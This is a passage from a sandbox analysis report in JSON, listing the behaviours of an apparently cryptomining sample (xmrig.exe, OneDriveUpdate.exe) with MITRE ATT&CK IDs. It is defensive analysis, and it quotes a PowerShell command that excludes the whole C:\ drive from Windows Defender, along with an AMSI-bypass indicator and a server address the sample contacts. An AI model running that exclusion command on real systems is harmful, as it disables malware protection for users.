01000000 (UID: 00000000-00009196)\n \"net1.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00002296)\n \"net1.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00001200)\n \"powershell.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00004556)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$31","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"\"powershell.exe\" called \"GetVersionExA\" with parameter 940000000a000000000000005d58000002000000007f0000000000000000000020fe09608c020000c0fb4433fd7f00000001000000000000b8fb4433fd7f0000000000000000000080cb475bfd7f000000000000000000000001000000000000000000000000000000000000000000000100000000000000df1a4433fd7f00000000000000000000b8fb4433fd7f000000000000 (UID: 00000000-00004556)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00004556)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00004556)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00004556)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00004556)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API used to retrieve process information","description":"Observed import api \"OpenProcessToken\" which can be \"used to retrieve process information\" [Source: 4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe]","origin":"Static Parser","mitre_attack_id":"T1057","relevance":5,"id":"static-189","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; File: \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\")\n Found reference to API \"Call to IsWow64Process2 failed: %u\" (Indicator: \"IsWow64Process\"; File: \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\")\n Found reference to API \"Call to IsWow64Process2 failed: %u\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00001548.00000001.241886.8F878000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; File: \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp\")\n Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00001548.00000001.241886.8F878000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"$32","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve environment variable settings","description":"Found string \"Set process priority to HIGH\" (Indicator: \"set \"; File: \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-326","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; File: \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; File: \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00001548.00000000.239967.8FA4F000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp\")\n Found reference to API \"GetSystemTimePreciseAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00001548.00000001.241886.8F878000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve path in which Windows is installed (API string)","description":"Found reference to API \"GetWindowsDirectoryW\" (Indicator: \"GetWindowsDirectory\"; File: \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\")\n Found reference to API \"GetWindowsDirectory failed. Error code: %d\" (Indicator: \"GetWindowsDirectory\"; File: \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\")\n Found reference to API \"GetWindowsDirectory failed. Error code: %d\" (Indicator: \"GetWindowsDirectory\"; Source: \"00000000-00001548.00000001.241886.8F878000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-312","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"Found reference to API \"VerifyVersionInfoW\" (Indicator: \"VerifyVersionInfo\"; File: \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\")\n Found reference to API \"VerSetConditionMask\" (Indicator: \"VerSetConditionMask\"; File: \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\")\n Found reference to API \"AssemblyNative_GetVersion\" (Indicator: \"GetVersion\"; Source: \"00000000-00001548.00000001.241886.8F878000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"\"OneDriveUpdate.exe\" (Access type: \"QUERY\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\INTERFACES\"; Key: \"\"; Value: \"\")\n \"OneDriveUpdate.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\INTERFACES\\{45F5205B-FA7A-11ED-8886-806E6F6E6963}\"; Key: \"ENABLEDHCP\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"$33","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information of an entire harddrive","description":"\"powershell.exe\" queries volume information of \"C:\\\" at 00000000-00004556-00000C17-2771426868","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"net1.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"xmrig.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"OneDriveUpdate.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"xmrig.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"SURICATA IPv4 invalid checksum\" (SID: 2200073, Rev: 2, Severity: 3) categorized as \"Generic Protocol Command Decode\"\n Detected alert \"SURICATA TCPv4 invalid checksum\" (SID: 2200074, Rev: 2, Severity: 3) categorized as \"Generic Protocol Command Decode\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"Able to create/load registry keys (API string)","description":"Found registry modification API: \"g____PInvoke|1_0\" in \"00000000-00001548.00000001.241886.80F50000.00000002.mdmp, 00000000-00001548.00000002.243806.82AC0000.00000002.mdmp\"\n Found registry modification API: \"RegConnectRegistryW\" in \"00000000-00001548.00000001.241886.80F50000.00000002.mdmp, 00000000-00001548.00000002.243806.82AC0000.00000002.mdmp\"\n Found registry modification API: \"RegConnectRegistry\" in \"00000000-00001548.00000001.241886.80F50000.00000002.mdmp, 00000000-00001548.00000002.243806.82AC0000.00000002.mdmp\"\n Found registry modification API: \"RegConnectRegistryWTU\" in \"00000000-00001548.00000001.241886.80F50000.00000002.mdmp, 00000000-00001548.00000002.243806.82AC0000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"Able to execute applications using .NET process API","description":"$34","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-934","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\"; Key: \"\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\27748148BBE67A43CDBFEC6C3784862CE134E6EA\"; Key: \"BLOB\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)","description":"\"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00004556)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":1,"id":"api-179","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\" called \"CreateDirectoryW\" with parameter \\\\?\\C:\\logs (UID: 00000000-00001548)\n \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\" called \"CreateDirectoryW\" with parameter \\\\?\\C:\\bin (UID: 00000000-00001548)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a named pipe","description":"\"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\" called \"CreateNamedPipeA\" with parameter \"\\\\.\\pipe\\dotnet-diagnostic-1548\"\n dwOpenMode: \"1074266115\"\n dwPipeMode: \"8\" - (UID: 00000000-00001548)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-275","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"$35","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\dotnet-diagnostic-1548\" - (UID: 00000000-00001548)\n \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\" - (UID: 00000000-00001548)\n \"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134121501955279963.4556.DefaultAppDomain.powershell\" - (UID: 00000000-00004556)\n \"xmrig.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\" - (UID: 00000000-00003544)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$36","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"details too long to display","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"Can load assembly that contains the code that is currently executing (Dotnet)","description":"Found string \"AssemblyNative_GetExecutingAssembly\" (Indicator: \"GetExecutingAssembly\"; Source: \"00000000-00001548.00000001.241886.8F878000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1620","relevance":1,"id":"string-615","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"46.250.239.154:10001\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"$37","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; File: \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\")","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"$38","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; File: \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00001548.00000001.241886.80F50000.00000002.mdmp, 00000000-00001548.00000001.241886.8F878000.00000002.mdmp, 00000000-00001548.00000002.243806.82AC0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically determine API calls","description":"Found GetProcAddress() and LoadLibraryA() in an import section (Source: 4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe)","origin":"Static Parser","mitre_attack_id":"T1027.007","relevance":1,"id":"static-79","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$39","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"$3a","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-240","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"FindResourceW\" (Indicator: \"FindResource\"; File: \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\")\n Found reference to API \"LoadResource error: %x\" (Indicator: \"LoadResource\"; Source: \"00000000-00001548.00000001.241886.8F878000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"Contains ability to impersonate another user on the local machine (API string)","description":"Found reference to API \"k__BackingField\" (Indicator: \"LoadUserProfile\"; Source: \"00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp\")\n Found reference to API \"get_LoadUserProfile\" (Indicator: \"LoadUserProfile\"; Source: \"00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-225","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"Contains ability to load modules (API string)","description":"Found reference to API \"SymLoadModule\" (Indicator: \"LoadModule\"; Source: \"00000000-00001548.00000001.241886.8F878000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-424","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"$3b","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/open a process (API string)","description":"$3c","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"$3d","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"GetShowWindowFromWindowStyle\" (Indicator: \"ShowWindow\"; Source: \"00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp\")\n Found reference to API \"wShowWindow\" (Indicator: \"ShowWindow\"; Source: \"00000000-00001548.00000001.241886.82B80000.00000002.mdmp, 00000000-00001548.00000002.243806.82EC0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"Contains export functions","description":"\"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\" contains export function called \"CLRJitAttachState\" at ordinal 3\n \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\" contains export function called \"DotNetRuntimeInfo\" at ordinal 4\n \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\" contains export function called \"MetaDataGetDispenser\" at ordinal 5\n \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\" contains export function called \"g_CLREngineMetrics\" at ordinal 2\n \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\" contains export function called \"g_dacTable\" at ordinal 6","origin":"Static Parser","relevance":1,"id":"static-78","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$3e","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"Creates directory on disk","description":"\"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\" with parameter \\\\?\\C:\\logs (UID: 00000000-00001548)\n \"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\" with parameter \\\\?\\C:\\bin (UID: 00000000-00001548)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-318","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"$3f","origin":"Created Mutant","mitre_attack_id":"T1480","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"Executes powershell with commandline","description":"Process \"powershell.exe\" with commandline \"\"powershell\" -Command \"Add-MpPreference -ExclusionPath 'C:\\\\'\"\" (UID: 00000000-00004556)","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":5,"id":"target-110","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$40","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe\" has flags like IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA\n IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_GUARD_CF\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\dotnet-diagnostic-1548\n Found string - \\\\.\\pipe\\PSHost.134121501955279963.4556.DefaultAppDomain.powershell\n Found string - \\\\.\\pipe\\%s\n Found string - \\\\.\\pipe\\dotnet-diagnostic-%d","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$41","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"Found well known domains (string)","description":"$42","origin":"File/Memory","relevance":1,"id":"string-135","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$43","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"695c29efce42c070020975e9"}]},{"level":"informative","category":"General","name":"Loads the 